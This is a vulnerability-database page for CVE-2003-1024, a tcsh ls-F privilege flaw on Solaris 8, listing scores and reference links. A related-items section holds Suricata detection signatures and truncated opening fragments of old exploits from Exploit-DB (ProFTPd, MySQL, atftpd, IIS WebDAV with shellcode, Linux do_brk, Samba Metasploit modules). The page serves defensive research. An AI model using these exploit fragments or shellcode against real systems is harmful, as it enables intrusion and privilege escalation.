CVE-2003-1024
published 2004-01-20CVE-2003-1024: Unknown vulnerability in the ls-F builtin function in tcsh on Solaris 8 allows local users to create or delete files as other users, and gain privileges.
PriorityP419high7.2CVSS 2.0
AVLACLAuNCCICAC
EPSS
0.36%
28.5th percentile
Unknown vulnerability in the ls-F builtin function in tcsh on Solaris 8 allows local users to create or delete files as other users, and gain privileges.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sun | sunos | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Suricata
GPL NETBIOS DCERPC Workstation Service direct service bind attempt
suricata·2010-09-23
CVE-2003-0812 GPL NETBIOS DCERPC Workstation Service direct service bind attempt
GPL NETBIOS DCERPC Workstation Service direct service bind attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"GPL NETBIOS DCERPC Workstation Service direct service bind attempt"; flow:established,to_server; content:"|05 00 0B|"; depth:3; byte_test:1,&,16,1,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:29; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2102315; rev:8; metadata:created_at 2010_09_23, cve CVE_2003_0812, signature_severity Informational, updated_at 2024_03_08;)
Suricata
GPL NETBIOS SMB-DS DCERPC Messenger Service buffer overflow attempt
suricata·2010-09-23
CVE-2003-0717 GPL NETBIOS SMB-DS DCERPC Messenger Service buffer overflow attempt
GPL NETBIOS SMB-DS DCERPC Messenger Service buffer overflow attempt
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"GPL NETBIOS SMB-DS DCERPC Messenger Service buffer overflow attempt"; flow:established,to_server; content:"|FF|SMB%"; depth:5; offset:4; nocase; content:"&|00|"; within:2; distance:56; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00|"; within:12; distance:5; nocase; content:"|04 00|"; within:2; byte_test:1,>,15,2,relative; byte_jump:4,86,little,align,relative; byte_jump:4,8,little,align,relative; byte_test:4,>,1024,0,little,relative; reference:bugtraq,8826; reference:cve,2003-0717; reference:nessus,11888; reference:nessus,11890; reference:url,www.microsoft.com/technet/security/bulletin/MS03-043.mspx; classtype:attempted-admin; sid:2102258; rev:11; metadata:created_at 2010
Suricata
GPL NETBIOS DCERPC Workstation Service direct service access attempt
suricata·2010-09-23
CVE-2003-0812 GPL NETBIOS DCERPC Workstation Service direct service access attempt
GPL NETBIOS DCERPC Workstation Service direct service access attempt
Rule: alert udp $EXTERNAL_NET any -> $HOME_NET 1024: (msg:"GPL NETBIOS DCERPC Workstation Service direct service access attempt"; content:"|04 00|"; depth:2; byte_test:1,&,16,2,relative; content:"|98 D0 FF|k|12 A1 10|6|98|3F|C3 F8|~4Z"; within:16; distance:22; reference:bugtraq,9011; reference:cve,2003-0812; reference:url,www.microsoft.com/technet/security/bulletin/MS03-049.mspx; classtype:misc-attack; sid:2102316; rev:7; metadata:created_at 2010_09_23, cve CVE_2003_0812, signature_severity Informational, updated_at 2019_07_26;)
Suricata
GPL NETBIOS DCERPC Messenger Service buffer overflow attempt
suricata·2010-09-23
CVE-2003-0717 GPL NETBIOS DCERPC Messenger Service buffer overflow attempt
GPL NETBIOS DCERPC Messenger Service buffer overflow attempt
Rule: alert udp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"GPL NETBIOS DCERPC Messenger Service buffer overflow attempt"; content:"|04 00|"; depth:2; byte_test:1,>,15,2,relative; byte_jump:4,86,little,align,relative; byte_jump:4,8,little,align,relative; byte_test:4,>,1024,0,little,relative; reference:bugtraq,8826; reference:cve,2003-0717; reference:nessus,11888; reference:nessus,11890; reference:url,www.microsoft.com/technet/security/bulletin/MS03-043.mspx; classtype:attempted-admin; sid:2102257; rev:10; metadata:created_at 2010_09_23, cve CVE_2003_0717, confidence High, signature_severity Informational, updated_at 2019_07_26;)
Exploit-DB
Microsoft Windows XP/2003 - ReadDirectoryChangesW Information Disclosure
exploitdb·2007-02-22
CVE-2007-0843 Microsoft Windows XP/2003 - ReadDirectoryChangesW Information Disclosure
Microsoft Windows XP/2003 - ReadDirectoryChangesW Information Disclosure
---
// source: https://www.securityfocus.com/bid/22664/info
Microsoft Windows is prone to a local information-disclosure vulnerability.
A local attacker may leverage this issue to gain access to potentially sensitive information about user permissions and accessed files. Information gained may aid in further attacks against the affected computer.
/*
Monitors directory changes
(c) 2006-2007 Vladimir Dubrovin, 3APA3A
http://securityvulns.com/
http://securityvulns.ru/
*/
#include
#include
#include
int main(int argc, char *argv[]){
HANDLE hDir;
char buf[1024];
FILE_NOTIFY_INFORMATION * fn;
int read;
WCHAR * action = NULL;
if(argc != 2) {
printf(
"Usage: %s \n"
" Monitor directory changes with all subdirectories\
Exploit-DB
Alt-N MDaemon 6.x/WorldClient - Form2Raw Raw Message Handler Buffer Overflow (2)
exploitdb·2003-12-29
CVE-2003-1200 Alt-N MDaemon 6.x/WorldClient - Form2Raw Raw Message Handler Buffer Overflow (2)
Alt-N MDaemon 6.x/WorldClient - Form2Raw Raw Message Handler Buffer Overflow (2)
---
// source: https://www.securityfocus.com/bid/9317/info
It has been reported that MDaemon/WorldClient mail server may be prone to a buffer overflow vulnerability when handling certain messages with a 'From' field of over 249 bytes. This issue may allow a remote attacker to gain unauthorized access to a system.
Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the vulnerable software in order to gain unauthorized access.
#include
#include
#include
#include
// Darn fucking 1337 macro shit
#define ISIP(m) (!(inet_addr(m) ==-1))
#define offset 267 //;267 //1024
// hmm :D
#define NOPS "\x90\x90\x90\x90\x90\x90\x90"
struct sh_fix
{
unsigned long _wsa
Exploit-DB
Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
exploitdb·2003-12-05
CVE-2003-0961 Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
Linux Kernel 2.4.22 - 'do_brk()' Local Privilege Escalation (2)
---
/*
* hatorihanzo.c
* Linux kernel do_brk vma overflow exploit.
*
* The bug was found by Paul (IhaQueR) Starzetz
*
* Further research and exploit development by
* Wojciech Purczynski and Paul Starzetz.
*
* (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.
*
* COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE
* OF PRESENTED CODE IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define MAGIC 0xdefaced /* I should've patented this number -cliph */
#d
Exploit-DB
ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (1)
exploitdb·2003-10-04
CVE-2003-0831 ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (1)
ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (1)
---
/* proftpd 1.2.7/1.2.9rc2 remote root exploit by bkbll (bkbll#cnhonker.net, 2003/10/1)
* for FTP_ProFTPD_Translate_Overflow found by X-force
* happy birthday, China.
* this code is dirty, there are more beautiful exploits of proftpd for this vuln in the world.
* this code want to provied u a method, not finally exploit.
* using overflow _xlate_ascii_write function return address.
* because the overflow is before it connecting to our port,so I have no method for using current socket.
* and I have provied two method:bind port and connect back.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 21
#define SIZE 1024
#define BIGSIZE 1024*42
#define
Exploit-DB
MySQL 3.23.x/4.0.x - Remote Buffer Overflow
exploitdb·2003-09-14
CVE-2003-0780 MySQL 3.23.x/4.0.x - Remote Buffer Overflow
MySQL 3.23.x/4.0.x - Remote Buffer Overflow
---
/* Mysql 3.23.x/4.0.x remote exploit
* proof of concept
* using jmp *eax
* bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
* DO NOT DISTRUBITED IT
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PAD 19*4*2
#define JMPADDR 0x42125b2b
#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
#define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' OR user='root LIMIT 1,1'"
#define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
#define BUF 1024
MYSQL *conn;
char NOP[]="90";
/*
char shellcode
Exploit-DB
Atftpd 0.6 - 'atftpdx.c' Remote Command Execution
exploitdb·2003-06-10
CVE-2003-0380 Atftpd 0.6 - 'atftpdx.c' Remote Command Execution
Atftpd 0.6 - 'atftpdx.c' Remote Command Execution
---
/**
** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
**
**
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define HEAP_START 0x080514b4
#define HEAP_END 0x080594b4
#define BACKDOOR "rfe" /* port MUST be > 1024 */
#define NOPNUM 128 /* number of nops */
#define PORT 69 /* tftpd port */
#define BUFSIZE 512 /* size of exploit buffer */
#define TIMEOUT 0x5 /* timeout in sec. */
#define NOALARM 0x0 /* no timeout */
#define RRQ 0x1 /* request method */
#define MODE "octet" /* request mode */
#define OFFSET 16000 /* distance of nops from heap */
struct target {
char * name ;
unsigned int align ;
unsigned int len ;
unsigned int retaddr ;
} tg[] =
{
{ "Linux (Debian 3.0)", 0, 2
Exploit-DB
Microsoft Windows - WebDAV Remote Code Execution (2)
exploitdb·2003-06-01
CVE-2003-0109 Microsoft Windows - WebDAV Remote Code Execution (2)
Microsoft Windows - WebDAV Remote Code Execution (2)
---
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* 29/05/2003 - by Alumni - */
/* Microsoft IIS WebDAV New Exploit */
/* spawns shell on port 32768 */
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
#include
#include
#include
#define SHELLCODELEN 753
#define NOP 0x90
#define BUFFERLEN 1024
#define RET 0x41424344
#define GMHOFF 30
#define GPAOFF 38
#define IPOFF 161
#define DEFPORT 32768
//#define DEBUGGEE_FLOW // for debug only
#ifdef DEBUGGEE_FLOW
#define GMH (long)GetModuleHandle
#define GPA (long)GetProcAddress
#else
#define GMH 0x0100107C // GetModuleHandle@
#define GPA 0x01001034 // GetProcAddress@
#endif
#define XOROFF 11
#define SOFF 16
char prologue[] =
"\xEB\x03" // jmp $+3
"\x58" // pop eax
"\x50" // push eax
"\xC3" // retn
"
Exploit-DB
Pi3Web 2.0.1 - Denial of Service (PoC)
exploitdb·2003-04-29
CVE-2003-0276 Pi3Web 2.0.1 - Denial of Service (PoC)
Pi3Web 2.0.1 - Denial of Service (PoC)
---
/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3 - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
* when a malformed HTTP Request is done the webserver hangs
* due to an stack overflow. GET /////////..[354]../////////
*
* Found by [email protected] 04/26/2003
* Compiled with: lcc-win32 v3.3.
*
*/
#pragma comment (lib,"ws2_32")
#include
#include
#include
#include
char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;
int isalive(int OPT)
{
struct sockaddr_in haxorcitos;
int fd;
haxorcitos.sin_port = htons(port);
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_addr.s_addr = inet_addr(ip);
if ((fd = soc
Exploit-DB
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)
exploitdb·2003-04-07
CVE-2003-0201 Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)
Samba 2.2.0 'Samba trans2open Overflow (Mac OS X)',
'Description' => %q{
This exploits the buffer overflow found in Samba versions
2.2.0 to 2.2.8. This particular module is capable of
exploiting the bug on Mac OS X PowerPC systems.
},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0201'],
[ 'OSVDB', '4469'],
[ 'BID', '7294'],
[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'MinNops' => 512,
},
'Platform' => 'osx',
'Arch' => ARCH_PPC,
'Targets' =>
[
['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],
],
'DisclosureDate' => 'Apr 7 2003',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(139)
], self.class)
end
# Need to perform
Exploit-DB
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)
exploitdb·2003-04-07
CVE-2003-0085 Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)
---
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Samba nttrans Overflow',
'Description' => %q{
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2003-0085' ],
[ 'OSVDB', '6323' ],
[ 'BID', '7106' ],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'MinNops' => 512,
},
'Targets' =>
[
["Samba 2.2.x Linux x86",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'Rets' => [0x01020304, 0x41424344],
No writeups or analysis indexed.
http://secunia.com/advisories/10486http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57455http://www.kb.cert.org/vuls/id/281356http://www.securityfocus.com/bid/9280https://exchange.xforce.ibmcloud.com/vulnerabilities/14065https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1528http://secunia.com/advisories/10486http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/57455http://www.kb.cert.org/vuls/id/281356http://www.securityfocus.com/bid/9280https://exchange.xforce.ibmcloud.com/vulnerabilities/14065https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1528
2004-01-20
Published